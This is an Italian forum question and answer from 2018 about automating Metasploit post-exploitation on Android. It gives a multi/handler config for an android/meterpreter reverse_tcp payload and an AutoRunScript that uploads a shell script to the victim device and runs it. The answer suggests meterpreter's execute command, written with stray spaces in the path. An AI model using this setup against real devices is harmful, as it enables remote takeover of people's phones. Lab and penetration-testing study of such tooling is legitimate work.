Programmazione Metasploit

1

Provo a creare Metasploit AutoRunScript per Android. Il primo file .rc ha questa configurazione

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

Questo è il secondo file .rc (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
shell
cd /data/data/com.metasploit.stage/files 
sh and.sh
exit

Il problema è dopo che il comando shell è executed the sh and.sh e i comandi exit non sono eseguiti. Se scrivo manualmente i comandi sh and.sh e exit funziona. La domanda è: come posso eseguire questi comandi? Qualsiasi suggerimento è benvenuto e apprezzato!

    
posta jnass 10.09.2018 - 18:43
fonte

1 risposta

0

È possibile che la shell rimanga bloccata quando viene rilasciata.

Prova a eseguire il comando tramite il comando built-in meterpreter shell.

execute -i -f "/ bin / bash /data/data/com.metasploit.stage/files/and.sh"

Non ho testato questo comando esatto con uno spazio al suo interno, ma ti inizierà nella giusta direzione.

    
risposta data 25.10.2018 - 17:24
fonte

Leggi altre domande sui tag